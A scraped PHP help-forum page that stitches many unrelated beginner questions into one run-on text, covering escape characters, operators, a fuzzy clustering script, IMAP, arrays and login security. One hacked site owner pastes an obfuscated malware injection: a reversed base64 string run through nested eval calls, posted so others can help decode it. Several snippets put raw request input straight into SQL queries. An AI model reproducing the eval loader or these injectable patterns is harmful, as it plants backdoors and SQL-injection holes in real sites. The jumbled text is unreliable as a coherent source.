PHP - Fast Question : What Does It Means ! N\ And R\
Hello friends,
in my database table or even php files i always find within the text something like this i love people\n i love world\n i love anything and sometimes \r and something \n\r so what does it mean is it like <br> or what ? thanks Similar TutorialsIt's not PHP, but if anyone could tell me what that means and how I can edit it I would be eternally grateful. <Directory /var/www/vhosts/webaddress.co.uk/httpdocs> RMode config RUidGid (username) psacln </Directory> I came across usage of ^= in one the password hashing codes and am trying to find what this operator means in PHP. Can you please tell me what each of these lines of code means?
$allowedExts = array("gif", "jpeg", "jpg", "png"); $temp = explode(".", $_FILES["file"]["name"]); $extension = strtolower( end($temp) ); $length = 20; $newfilename = $_SESSION['user_id'].$_FILES["file"]["name"]; $thumbnail = $newfilename . "." . $extension; move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $thumbnail); $sql = "INSERT INTO videos ( filename ) VALUES( $thumbnail )"; mysql_query($sql); $file_location = '<a href="http://www.--.com/upload/' . $thumbnail . '">' . $thumbnail . '</a>'; $description = $description . " \n " . $newfilename; hi everyone
i keep seeing the following Comparison Operators:
<>i see it used in the following context: if ($connection <> 'SSL') { $connection = 'NONSSL'; }be grateful if somone would tell me what it means, i looked online but could not find the symbol thanks hello friends what does this type of array means ? $data[] = $row; What means this syntax line: $comments = (array) $comments thanks in advance Code: [Select] <?php class Point { public $x; public $y; } // Random values 0 - 1 function random_float ($min,$max) { return ($min+lcg_value()*(abs($max-$min))); } // Fuzzy C Means Algorithm function distributeOverMatrixU($num_of_clusters, $arr,$m) { global $MatrixCentroids; $num_of_data = sizeof($arr); $MatrixPointX = $arr; // Fill the $MatrixU table with random values from 0 to 1 for($j = 0; $j < $num_of_data; $j++) { $sum = 0; for($i = 0; $i < $num_of_clusters; $i++) { $MatrixU[$j][$i] = random_float(0,1); $sum += $MatrixU[$j][$i]; } // Normalize Data for($i = 0; $i < $num_of_clusters; $i++) { $MatrixU[$j][$i] = $MatrixU[$j][$i]/$sum; } } // repeat 200 for($a = 0; $a<200; $a++) { for($i = 0; $i < $num_of_clusters; $i++) { $tempAx = 0; $tempBx = 0; $tempAy = 0; $tempBy = 0; for($j = 0 ; $j < $num_of_data; $j++) { $tempAx = $tempAx + pow($MatrixU[$j][$i],$m); $tempBx += pow($MatrixU[$j][$i],$m) * $MatrixPointX[$j]->x; $tempAy = $tempAy + pow($MatrixU[$j][$i],$m); $tempBy += pow($MatrixU[$j][$i],$m) * $MatrixPointX[$j]->y; } $MatrixCentroids[$i] = new Point(); $MatrixCentroids[$i]->x = $tempBx / $tempAx; $MatrixCentroids[$i]->y = $tempBy / $tempAy; } // Cluster Centers for($j = 0 ; $j < $num_of_data; $j++) { $tempSum = 0; for($i = 0; $i < $num_of_clusters; $i++) { // Distance between 2 points $distance1 = pow(($MatrixPointX[$j]->x - $MatrixCentroids[$i]->x),2); $distance2 = pow(($MatrixPointX[$j]->y - $MatrixCentroids[$i]->y),2); $distance = $distance1 + $distance2; $distance = sqrt($distance); $MatrixU[$j][$i] = pow(1/$distance , 2/($m-1)); $tempSum += pow(1/$distance, 2/($m-1)); } for($i = 0; $i < $num_of_clusters; $i++) { $MatrixU[$j][$i] = ($MatrixU[$j][$i]/$tempSum); } $sum = 0; for($i = 0; $i < $num_of_clusters; $i++) { $sum += $MatrixU[$j][$i]; } // Norm Data for($i = 0; $i < $num_of_clusters; $i++) { $MatrixU[$j][$i] = $MatrixU[$j][$i]/$sum; } } } //print_r($MatrixCentroids); return $MatrixU ; } // Connect to DB $my_num = $_GET["cluster_number"]; $fuzz = $_GET["fuzz"]; require('db_connection.php'); $resultx=mysql_query("SELECT * FROM xdata"); $result=mysql_query("SELECT * FROM ydata"); // &#916;&#953;&#945;&#946;&#940;&#950;&#959;&#965;&#956;&#949; &#972;&#955;&#945; &#964;&#945; &#948;&#949;&#948;&#959;&#956;&#941;&#957;&#945; while ($a_row = mysql_fetch_array($result)) { for($j = 1 ; $j < 17; $j++) { $tmp_data[$j] = $a_row[ay.$j]; } } while ($x_row = mysql_fetch_array($resultx)) { for($j = 1; $j <17; $j++) { $p = new Point(); $p->x = $x_row[ax.$j]; $p->y = $tmp_data[$j]; $arr[] = $p; } } // Execute algorithm $data_in_clusters = distributeOverMatrixU($my_num, $arr,$fuzz); $size = sizeof($arr); $result=@mysql_query('select * from cluster0 limit 1', $link); if ($result) { echo "O &#960;&#943;&#957;&#945;&#954;&#945;&#962; &#965;&#960;&#940;&#961;&#967;&#949;&#953; &#954;&#945;&#953; &#960;&#961;&#941;&#960;&#949;&#953; &#957;&#945; &#948;&#953;&#945;&#947;&#961;&#945;&#966;&#959;&#973;&#957; &#959;&#953; &#960;&#961;&#959;&#951;&#947;&#959;&#973;&#956;&#949;&#957;&#949;&#962; &#949;&#947;&#947;&#961;&#945;&#966;&#941;&#962;...<BR>"; echo "&#916;&#953;&#945;&#947;&#961;&#945;&#966;&#942;...<BR>"; for($i = 0; $i <100; $i++) { $query="DROP TABLE cluster$i"; mysql_query($query,$link); } echo "H &#948;&#953;&#945;&#947;&#961;&#945;&#966;&#942; &#941;&#947;&#953;&#957;&#949; &#956;&#949; &#949;&#960;&#953;&#964;&#965;&#967;&#943;&#945;..."; } for($j = 0; $j < $my_num; $j++) { $query_c = "CREATE TABLE cluster$j(data_points_x FLOAT NOT NULL,data_points_y FLOAT NOT NULL)"; mysql_query($query_c,$link); } for($i = 0; $i < $size ; $i++) { $max = 0; $pos = 0; for($j = 0; $j < $my_num; $j++) { $tmp_point = $data_in_clusters[$i][$j]; if($tmp_point > $max) { $max = $tmp_point; $pos = $j; } } $xxxx = $arr[$i]->x; $yyyy = $arr[$i]->y; $query="INSERT INTO cluster$pos(data_points_x,data_points_y) values('$xxxx','$yyyy')";; mysql_query($query,$link); } echo "<br>"; echo "<img src='db_scatter.php' border=0 align=center width =600 height=400>"; // &#917;&#956;&#966;&#940;&#957;&#953;&#963;&#951; &#928;&#943;&#957;&#945;&#954;&#945; &#956;&#949; &#964;&#945; &#945;&#960;&#959;&#964;&#949;&#955;&#941;&#963;&#956;&#945;&#964;&#945; echo "<table width='500' border='2'>"; echo "<TR><TD><B>Points</B><BR></TD>"; for($i = 0; $i < $my_num; $i++){ $xxx = $MatrixCentroids[$i]->x; $yyy = $MatrixCentroids[$i]->y; echo "<TD>Cluster $i Centoid:<br><b>X:$xxx Y:$yyy</b></TD>"; } echo "</tr>"; for($i = 0; $i < $size ; $i++) { $x = $arr[$i]->x; $y = $arr[$i]->y; echo "<TR>"; echo "<TD><b>x:$x</b><br><b>y:$y</b></TD>"; for($j = 0; $j < $my_num; $j++) { $tmp_point = $data_in_clusters[$i][$j]; echo "<TD> $tmp_point</TD>"; } echo "</TR>"; } echo "</TABLE>"; ?> This is the case. My website got hacked and injections took place with encoded code. I tried to figure out how to decode it all but I am out of ideas. I need to figure out what was going on here and hope someone is willing to help me. The code is he Code: [Select] if ($evalZjhGYTfoFIetGo != 34517) {function evalJHIOkgzInSMJH($s){for ($a = 0; $a <= strlen($s)-1; $a++ ){$e .= $s{strlen($s)-$a-1};}return($e);}eval(evalJHIOkgzInSMJH(';))"=sTKwgyZulGdy9GclJ3Xy9mcyVGQ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"=ASf7kCaYlEe4NGZjF0ayFFbhZXZkgSZk92YlR2X0YTZzFmYg4mc1RXZytHIpgGWJhHejR2YBtmcRxWY2VGJoYEWJFGVZdWeQtEbhZXZg42bpR3YuVnZ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"==wOpISPNJTWigiRYlUYUl1Z5B1SsFmdlBSPgYVQ59kZmZUWtdHUixWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"7kiI90ESkhmUzMmIoYEWJFGVZdWeQtEbhZXZ9s2QR1UcqFFUhllYHxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"7kiI90TQjBjUIFmIoYEWJFGVZdWeQtEbhZXZ9MkZk5UbBFFVmZFVmZ3Q6xWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"=sTKi0DNXFmIoYEWJFGVZdWeQtEbhZXZ98EenNVbOp1US9GSLJlbwxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"==wOpISP9EVS2R2VJJCKGhVShRVWnlHULxWY2VWP6d0Yk1UZz1WaDllQi1GarxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"==wOdliIVVTVShkRwg1UWBTVWljRVVlUGNlIoYEWJFGVZdWeQtEbhZXZbJVRWJVRT9FJ9U1Trt0arJWazFmcIxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"=sTKpISP9c2YshXbZRnRtVlIoYEWJFGVZdWeQtEbhZXZgwSKiQjVHpVdGd1VigiRYlUYUl1Z5B1SsFmdlBCLpISPJhlWyw2RhpmSYllZGdVYigiRYlUYUl1Z5B1SsFmdlBCLpICM50WUP5kVUJCKGhVShRVWnlHULxWY2VGIskiI9EkbjFDeyUlIoYEWJFGVZdWeQtEbhZXZgwSKiwGeyold5IjUigiRYlUYUl1Z5B1SsFmdlhSehJnchBSPg0Ua0ZWTKREephHcq52SSxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"==wOWFUePZmZGlVb3BlYsFmdlRSPuAnaCpUV5RGWsNGbhZXZkASKgsyKpRCI7gDI9wDIpRCI7ADI9ASakgCIy9mZ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"=sTKpISP9ElZ3sWejt2Z5NGM1clWwUjMipWOGRGbkJDWsh3Vh1mQFlUdKhFZwYVbjdjQTtkeSN0SNlzaadnSsVGNoV0VCZFbkdnVHJGaahlWnRjMiBnUzkVdW5mWigiRYlUYUl1Z5B1SsFmdlhCbhZXZ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"==wOWFUePZmZGlVb3BlYsFmdlRiLi4iI94CIwpmQKVVekhFbjxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(';))"=0Xf7MGWFpmbXpWZjRmWOlEbhZXZk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YTfoFIetGo =34517;} Ok here is the error I am getting... Quote Warning: date() expects parameter 2 to be long, string given in /home/a8875754/public_html/admin/pages/edit_members.php on line 191 and this is line 191 of my code... <tr bgcolor="<?php echo $bgcolor; ?>"><td style="text-align:left; border:solid 1px #B30401; padding:3px;"> <span style="float:left;"><strong><?php echo $username; ?></strong> Joined: <strong><?php echo date("M Y",$joined); ?></strong> Usergroup: <strong><?php echo $rank_name['usergroup_name']; ?></strong> </span><span style="float:right;"><a href="index.php?p=edit_members&action=edit&id=<?php echo $id; ?>"> <img src="images/icons/edit_small.png" title="Edit <?php echo $username; ?>" alt="Edit <?php echo $username; ?>"/></a> I can't find the error.. can you? if needed I can post the entire edit_member.php code.. Hello I have multiple stristr condition (300+) involved in my php script (in 1 script only). I would like to know if that is okay or should i move to other solution like Mysql table search data and than direct it to accordingly. Kindly suggest some thing... the 300 condition are stored in include files (every file there is condition i.e there are 300 files in a directory which is included.) Kindly suggest some thing efficient and fast. I have a very simple system (few files) having simple articles (only title and a paragraph description) stored in single text files. I catch the data by Code: [Select] $data=file('article1.txt'); $title=$data[0]; $description=$data[1]; This simple system works perfectly, but the problem appears when increasing the number of files (e.g. more than 10,000 articles). This is a problem connected with the OS behavior for handling huge number of files. My first question: Is there theoretically a faster system (e.g. database-based) for retrieving data, comparing with retrieving from plain text file? Second question: what can be an alternative for this very simple system (no search query or additional field)? 1. XML: It has the same problem if storing in different files. 2. Mysql: It is very advanced for this system. 3. SQLite:I am thinking of this, but it still have advanced structure of SQL. 4. DB Berkeley: I am not familiar with Oracle at all, and I need to install something new on my server. Is it really worth of trying? 5. Anything else? In general, I just need fast reading the data. I have no idea how much the speed of these systems are different to determine which is worth of consideration. Thanks for sharing your idea. Hi guys, I have written a script that opens up my gmail messages via IMAP stores them in an array. However, I have thousands of emails, so this is taking forever. Is there a faster way of doing this? Here's my code Code: [Select] <?php //lets get those emails /* connect to gmail */ $hostname = '{imap.gmail.com:993/imap/ssl}INBOX'; $username = 'info@***********.com'; $password = '******'; /* try to connect */ $inbox = imap_open($hostname,$username,$password) or die('Cannot connect to Gmail: ' . imap_last_error()); /* grab emails */ $emails = imap_search($inbox,'ALL'); /* if emails are returned, cycle through each... */ if($emails) { /* for every email... */ foreach($emails as $email_number) { $message = imap_fetchbody($inbox,$email_number,2); } } /* close the connection */ imap_close($inbox); ?> Hi, my name is Pete Mardell, a development manager for Smart Recruit Online.
We have recently teamed up with a gaming company based in Norwich and are looking to find two new developers to work on our award winning platform. We are specifically looking for a php web developer (Junior or Senior) and a front end web developer (Junior / Senior) to work together on projects to improve our platform and services.
You will be working remotely from our head office in Milton Keynes at Norwich in a software warehouse with other talented developers and will have graphic designer resources available to use to create masterpieces.
Please apply at the links below if interested:
PHP Developer: https://www.smartrec...css3jquery-5483
Front End Developer: https://www.smartrec...in-norwich-7057
Kind Regards,
Pete
Hi there, Does anyone know how to select from a mutlidimensional array, and put the results in a new array? I figured it out but it takes a long time. My array is huge (over 1000+ items) and this search is performed about 50 times before loading the page. My array is called $tasks and it looks like this Code: [Select] $tasks=Array( [0]=>array([id]=>"12"; [owner]=>"nancy"; [task]=>"clean the house"); [1]=>array([id]=>"23"; [owner]=>"toby"; [task]=>"do homework"); [2]=>array([id]=>"43"; [owner]=>"dan"; [task]=>"take out trash"); [3]=>array([id]=>"32"; [owner]=>"nancy"; [task]=>"cook dinner"); ) I want to be able to select from $tasks where owner="nancy", so i end up with this Code: [Select] $nancy_tasks=array( [0]=>array([id]=>"12"; [owner]=>"nancy"; [task]=>"clean the house"); [1]=>array([id]=>"32"; [owner]=>"nancy"; [task]=>"cook dinner");) )Thank you!!! Instead of breaking down and actually learning how to use ajax, I'm thinking about trying to do something so I don't need a page refresh every time, and the filtered data is nearly instant. I just use the session array var, and build a new array from the rows that meet the conditions. I'm thinking of loading a two dimensional array into a session var, then use some input buttons, and use the post vars to filter the array based on a set of predefined conditions. ie status = 0, status = 1. It's a fairly small number of conditions applied to two different fields. So, I need to access specific fields within a row, and essentially create a new array either including or excluding that row depending on whether it met the condition. I'm struggling on several parts. 1. not sure how to build the array so that I can access specific fields, then not sure how to access those fields. Do I do this..... to build the array? .... Code: [Select] while($row = mysql_fetch_assoc($result)){ $array[] = array($row['field1'], $row['field2']); } I was thinking about using a foreach and is_array() to get to each row... Code: [Select] foreach($array as $key => $value){ if(is_array){ foreach($value as $k => $v){ if($v[0] == 1){ //stuck here $v[0] is not a field, it's the first char of the string. not sure how to access a field $new_array[] = $value; //stuck here. I need to put the whole row back into the array if the condition was true. seems like I would have to use the field selectors and rebuild the array. } } } } What would you do? Open to any ideas. when in a form, I wish to build a conditional that if the response to a radio button is a value of 2 (female), it will display an input requesting for users maiden name. If not 2 goes to the next input statement. Here is code I was experimenting with: <html> <body> <form action="" name="test" method='POST'> <input type="radio" id="sex" value=1 checked><label>Male</label> <input type="radio" id="sex" value=2><label>Femaleale</label> <?php $result = "value"; if ($result == 2) echo "<input type='int' id='gradYear' size='3' required>"; else echo "Not a female!" ?> <input type="submit" value="GO"> </form> </body> </html> The code passes debug, however, Not a Female is displayed. My question is - Can I do this and if so, what value do I test against id='sex' or value. I tried each one but gave the same results. I realize that $_POST[sex] would be used after the submit button is clicked. But this has me stumped. Thanks for the assis in advance. Hi, I am looking into a way of adding addons to a class I made.. I thought something like this would work, but not sure how to implement it: Code: [Select] <?php class foo { function foobar($text) { $text = $text . 'b'; return $text; } } class bar extends foo { function foobar($text) { $text = $text . 'c'; return $text; } } $var = new bar(); $var->foobar('a'); // this would then return abc ?> Now i want to be able to call up foo, and it calls the foobar of foo, and the foobar of bar. is that possible? hosh I have an issue with the below code Code: [Select] if ($gtype == "%24L" || $gtype == "$L") The value actually starts with the dollar sign then L, but its being read as a variable that's not assigned so it showing as blank. so the question is how to I get to check and see if the value of gtype actually is $L in a way that it wont read $L as a variable and as a value instead? I'm considering getting a VPS, but I'm not entirely sure what this would be able the handle. The specs doesn't look that good to me, but my friend swears it will handle running apache/php/mysql handling large websites and databases without a problem. I want to run multiple databases that just store statistics and I'm a bit worried about the RAM and the company doesn't even mention a cpu. Here's the specs: 256MB RAM 300GB HDD 10Mbps unmetered 1 IP Address My friend runs two counter-strike: source servers off his VPS (same stats).. so I'm actually considering this, but it just seems like it's not powerful enough. Oh.. forgot the most important part.. it's only $9. I'm trying to secure my login system as much as possible from SQL injections and other attacks. I know that by using mysql_real_escape_string() you can prevent that and I'm using that on for example the username input, but I would like to know if you hash the password before you send it to the database with MD5, do you still need to use mysql_real_escape_string()? A very quick and simple example: Code: [Select] <?php $un = $_POST['username']; $pass = $_POST['password']; $pass = md5($pass); mysql_query("SELECT * FROM users WHERE password='$pass' AND username='$un'"); ?> If someone wrote a possible SQL query in the password input, wouldn't that be rendered useless as the md5 will hash it before sending it and therefor "hide" it? Or is there any other reason you wouldn't want people to use sertain characters/symbols in their passwords? |